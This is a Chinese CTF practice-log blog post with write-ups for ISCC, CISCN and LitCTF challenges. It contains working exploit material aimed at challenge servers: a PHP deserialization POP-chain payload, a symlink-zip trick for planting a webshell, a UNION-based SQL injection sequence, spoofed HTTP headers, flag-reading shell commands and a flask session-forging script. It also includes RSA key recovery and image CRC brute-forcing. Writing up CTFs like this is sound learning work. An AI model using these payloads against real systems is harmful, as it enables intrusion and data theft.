5月刷题记录

ISCC

羊了个羊

ctrl+shift+i查看源代码,接着查看vue.global.js文件,发现一段密文

再base64解密两次得到flag

Where_is_your_love

依旧是ctrl+shift+i查看源码

发现3个PHP文件路径,访问Download.php和Enc.php分别下载下来两个文件

再访问LoveStory.php,是一道反序列化题

然后先对这两个文件分析,letter.php文件是二进制文件并不能正常打开,再由.pem文件知道这是RSA加密的公匙。所以letter.php应该是被加密的内容

然后找个在线RSA公私钥分解网站用.pem文件分解出e和n,(也可以在虚拟机中用rsatool和opensll操作,具体教程)openssl rsa -pubin -text -modulus -in keyiscc.pem

模数(Modulus)就是n,指数(Exponent)就是e。

但还需要将模数转为十进制,再去在线网站分解出p和q

接着用RSAtool 生成私钥文件key.pem

1
python rsatool.py -f PEM -o key.pem -p 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709 -q 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922206967 -e 65537 

Crypto中RSA常用工具及python库说明

最后,根据私钥解密(需要先将letter.php改成flag.enc)

1
openssl rsautl -decrypt -inkey key.pem -in flag.enc -out letter.php

之后就解密出来了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function enc($data){
$str="";
$a=strrev(str_rot13($data));
for($i=0;$i<strlen($a);$i++){
$b=ord($a[$i])+10;
$c=$b^100;
$e=sprintf("%02x",$c);
$str.=$e;
}
return $str;
}
?>

发现是一个简单的加密脚本,

  1. str_rot13()函数将输入字符串进行 ROT13 编码(一种简单的字符替换加密方式,将每个字母替换成距离它13个字母之后的字母),然后使用strrev()函数反转得到反向的字符串。
  2. 对于反向字符串中的每个字符,使用ord()函数获取其ASCII码,将其加上10,然后异或100(二进制下的异或运算),并使用sprintf()函数将结果格式化为两位十六进制数。
  3. 将上一步中得到的十六进制数依次拼接起来,并返回最终的加密结果字符串。

逆推出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function dec($str){

$a="";

for($i=0;$i<strlen($str);$i+=2){

$c=hexdec(substr($str,$i,2))^100;

$b=$c-10;

$a.=chr($b);

}

return str_rot13(strrev($a));

}

$encrypted_str = "xxxx";

$decrypted_data = dec($encrypted_str);

echo $decrypted_data;

?>

这里”xxxx”是要解密的字符

接下来,那个反序列化输出的应该就是需要解密的字符了吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<? include("./xxxiscc.php");
class boy {
public $like;
public function __destruct() {
echo "能请你喝杯奶茶吗?
";
@$this->like->make_friends();
}
public function __toString() {
echo "拱火大法好
";
return $this->like->string;
}
}

class girl {
private $boyname;
public function __call($func, $args) {
echo "我害羞羞
";
isset($this->boyname->name);
}
}

class helper {
private $name;
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __isset($val) {
echo "僚机上线
";
echo $this->name;
}
public function __get($name) {
echo "僚机不懈努力
";
$var = $this->$name;
$var[$name]();
}
}
class love_story {
public function love() {
echo "爱情萌芽
";
array_walk($this, function($make, $colo){
echo "坠入爱河,给你爱的密码
";
if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
global $flag;
echo $flag;
}
});
}
}

if (isset($_GET["iscc"])) {
$a=unserialize($_GET['iscc']);
} else {
highlight_file(__FILE__);
}

构造出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
class boy {
public $like;
public function __destruct() {
echo "能请你喝杯奶茶吗?
";
@$this->like->make_friends();
}
public function __toString() {
echo "拱火大法好
";
return $this->like->string;
}
}

class girl {
public $boyname;
//private $boyname;
public function __call($func, $args) {
echo "我害羞羞
";
isset($this->boyname->name);
}
}

class helper {
public $name ;
//private $name
private $string;

function __construct($name, $string) {
$this->name = $name;
$this->string = $string;

}

public function __isset($val) {
echo "僚机上线 ";
echo $this->name;
}

public function __get($name) {
echo "僚机不懈努力 ";
$var = $this->$name;
$var[$name]();
}
}

class love_story {
public $fall_in_love = array(0 => 'girl_and_boy');
public function love() {
echo "爱情萌芽 ";
array_walk($this->love_story, function($make, $colo){
echo "坠入爱河,给你爱的密码 ";
if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
global $flag;
echo $flag;
}
});
}
}

$boy1 = new boy();
$girl = new girl();
$helper1 = new helper("","");
$boy2 = new boy();
$helper2 = new helper("", array("string" => [new love_story(), "love"]));

$boy1->like = $girl;
$girl->boyname = $helper1;
$helper1->name = $boy2;
$boy2->like = $helper2;


echo urlencode(serialize($boy1));
//O%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A4%3A%22girl%22%3A1%3A%7Bs%3A7%3A%22boyname%22%3BO%3A6%3A%22helper%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A6%3A%22helper%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A0%3A%22%22%3Bs%3A14%3A%22%00helper%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A10%3A%22love_story%22%3A1%3A%7Bs%3A12%3A%22fall_in_love%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22girl_and_boy%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22love%22%3B%7D%7D%7D%7Ds%3A14%3A%22%00helper%00string%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

根据代码和文字提示,思路还是很清晰的

destruct() -> call() -> isset() -> toString() ->get() -> love_story:love()

但还是遇到了点困难,私有类private不能直接赋值,然后我直接赋值写进类里面好像也不行(可能我没弄好),困扰了我一段时间

后来在csdn看到一篇文章提到:php7.2.10版本忽略共有私有

但题目的php版本是7.4.33,我试了一下发现也可以,将private改成public

还有就是__construct($name, $string)生成两个参数,构造时需要$helper1 = new helper(“”,””)像这样传入两个参数

接下来就是最后一步调用love方法了

在helper:__get()中,我们可以看到$var = $this->$name,这里$name是love_story,所以$var实际上就是$helper2,接下来**$var[$name]**就会调用$helper2的love_story属性的love()方法,所以我们只需要将love_story属性设置为一个数组,数组中包含一个love_story对象和love()方法即可。

最后就能输出flag

1
e35a31342f241b3f17081ae75e042b5f155e38163d285826e41936125b5a075910e13e3e3404

将字符放到刚才的脚本运行,得到flag

好看的维吾尔族小姐姐

下载下来一个文件,用winhex打开,发现是png格式

保存为png照片,发现在window能正常打开,在linux虚拟机就会说损坏crc error,无法正常打开

猜测图片宽高被修改,网上抄个例子

(1). png的文件头:8个字节 89 50 4E 47 0D 0A 1A 0A 为 png的文件头(固定)

(2). 4个字节 00 00 00 0D (即为十进制的13)代表头部数据块的长度为13(固定)

(3). 4个字节 49 48 44 52 (即为ASCII码的IHDR)是文件头数据块的标示(IDCH)(固定)

(4). 13位数据块(IHDR)
前四个字节代表该图片的宽 00 00 00 08
后四个字节代表该图片的高 00 00 00 08
后五个字节依次为: Bit depth、ColorType、 Compression method、 Filter method、Interlace method
(可变)

(5). 剩余四字节为该png的CRC检验码 36 21 A3 B8,由从IDCH到THDR的十七位字节进行crc计算得到。(可变)

接着尝试对crc码进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import struct

crcbp = open("古力娜扎.png", "rb").read() # 打开图片
crc32frombp = int(crcbp[29:33].hex(), 16) # 读取图片中的CRC校验值
print(crc32frombp)

for i in range(4000): # 宽度1-4000进行枚举
for j in range(4000): # 高度1-4000进行枚举
data = crcbp[12:16] + \
struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
# print(crc32)
if (crc32 == crc32frombp): # 计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)

爆破出来后,在winhex修改宽高,并保存下来

各类二维码图像总结

发现是Data Matrix码,旋转得到正确格式

然后找了很多在线平台,都不能识别,于是在手机下了个条码超人就识别出来了

1
;521#&;33#&;101#&;011#&;111#&;001#&;801#&;801#&;101#&;911#&;59#&;611#&;501#&;59#&;611#&;111#&;301#&;59#&;711#&;111#&;121#&;321#&;76#&;76#&;38#&;37#&

发现格式跟Unicode编码很像,原来是字符串反过来了,于是反转一下字符串在线平台

然后unicode解密得到flag

CISCN

Web

ctfshow有题目,就用ctfshow复现一下吧

unzip

1
2
3
4
5
<?php error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

这道题当时没做出来 ,那时候发现/tmp目录不能查看,想的是将1.zip再压缩一次成为2.zip(里面包含一句话木马),然后上传

接着再上传名称为3.zip && unzip -d /var/www/html 2.zip

以为这样就能把文件解压到网站根目录下,然后能访问到木马,但是行不通

后来看学长wp发现要用软连接 (题目原题

先创建一个指向/var/www/html的软链接:

1
ln -s /var/www/html hey

然后再把它压缩,使用-y,这样在压缩的时候可以保存软链接:

1
zip -y hey1.zip hey

然后在hey目录下面写个马,然后再把这个hey目录不带-y的压缩:

1
2
3
4
cd hey
vim 1.php
cd ..
zip -r hey2.zip hey

然后先上传hey1.zip,再上传hey2.zip

这样就能在网站目录访问到1.php了

1
a=system("cat /*f*");

Misc

签到卡

利用python内置库os,用函数执行命令就可以了

1
import os; print(os.open("cat /*f*").read())

img

这样也行:

1
print(open('/flag').read())

被加密的生产流量

wireshark打开,过滤器仅查看modbus

再追踪tcp流

可以看到从MM到==这写字符,应该是被加密的密文,将他们组合起来

1
MMYWMX3GNEYWOXZRGAYDA===

能看到结尾的3个=,尝试base32解密

pyshell

比赛结束了,ctfshow也还没上misc题,没地方复现了

限制了读入字符数,所以可以通过_+拼接出完整的命令

再通过eval(_)执行

1
2
3
最后拼成:
import os; os.open("cat /*f*").read()
eval(_)

Crypto

基于国密SM2算法的

这个是队友做出来的,然后暂时没地方复现,就直接拿一下他的图吧

跟着题目提供的文档操作就可以了

去使用curl 去调用api获得分配的公钥私钥密文

再调用api check就得到flag了

image-20230602112642175

image-20230602112657818

Sign_in_passwd

这个有点可惜,第一天没想出来,第二天做出来了,结果交了没分

1
2
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5

一开始没看出来是什么加密,想了好久都没思路

后来仔细一看,下面那行url解码后是65个字符

1
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

就想到了base64加密,于是换表base64

Litctf

都是一些简单的入门题,难度很友好

官方wp

导弹迷踪

审计源码,在js文件找到flag

PHP是世界上最好的语言!!

打开是一个有很多功能的网站,其中一个可以执行PHP代码

执行

1
system("cat /*f*");

我Flag呢?

查看源代码就得到flag了

1zjs

ctrl+shift+i查看源代码

访问 /f@k3f1ag.php

jsFuck加密

image-20230602125400879

控制台直接输入就能解密得到flag了

Ping

在前端检测了,直接禁用js

然后直接ping就行了

Follow me and hack me

用hackbar传参

作业管理系统

要求账号密码,源代码给了admin:admin

然后上传木马

执行命令得到flag

Vim yyds

当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例:第一到三次产生的交换文件名依次为为 .index.php.swp 、 .index.php.swo 、 .index.php.swn

访问/.index.php.swp路径,下载文件

打开发现:

Give_Me_Your_Flagbase64加密得到:R2l2ZV9NZV9Zb3VyX0ZsYWc=

再POST传参

1
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&&cmd=cat /*f*

Http pro max plus

打开就说只允许本地访问

构造X-Forwarded-For值为127.0.0.1

结果就是被嘲讽了

client-ip就可以了

要求来自这个网站,改一下referer

然后要求用Chorme,改一下User-Agent

然后要求开代理,加个via

给了个路径,访问/wtfwtfwtfwtf.php

审计源码发现路径/sejishikong.php

访问得到flag

这是什么?SQL !注一下 !

1
2
3
4
5
<?php

$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';

$result = $conn->query($sql);

已经给了sql查询代码,确实是多带了几个()而已

接下来就是按流程来注入就可以了,并没有什么限制

1
2
3
4
5
6
1)))))) order by 1,2--+
1)))))) order by 1,23--+
1)))))) union select group_concat(schema_name),2 from information_schema.schemata--+
1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining'--+
1)))))) union select group_concat(column_name),2 from information_schema.columns where table_schema='ctftraining'--+
1)))))) union select 1,flag from ctftraining.flag--+

就当无事发生

给了个网址

1
https://ProbiusOfficial.github.io

访问看了一下没啥线索

题目提示了:差点数据没脱敏就发出去了,还好还没来得及部署,重新再pull一次

去github搜索ProbiusOfficial

看它的提交,发现有一次有个❌,应该是没有来得及部署的那一个,点击看看

再点击load diff ,在里面发现了flag

Flag点击就送!

输入admin,回显你怎么可能是管理员呢,看来没那么简单

抓包看看

发现有个session

1
session=eyJuYW1lIjoiMSJ9.ZHmyUw.B2DS9Una8POfQZx4ETBbPANMMTw

再发现采用flask框架,猜测可能是session伪造

flask框架的session是存储在客户端的,flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。

使用 flask-unsign 爆破密匙

1
flask-unsign --unsign --cookie "eyJuYW1lIjoiMSJ9.ZF_Bhw.mawKGPKlVL8_XkcZE2bcVHe6pOE" -w .\pass.txt --no-literal-eval

爆出密匙为LitCTF

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import string
import subprocess

SECRET_KEY = "LitCTF"

cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{\'name\': \'admin\'}', '--secret', SECRET_KEY])

cookie = {'session' : cmd_out.decode().rstrip()}
response = requests.get('http://node2.anna.nssctf.cn:28955//flag', cookies=cookie)

print(response.text)

然后脚本跑一下就出flag了


5月刷题记录
https://www.supersmallblack.cn/5月做题记录.html
作者
Small Black
发布于
2023年6月1日
许可协议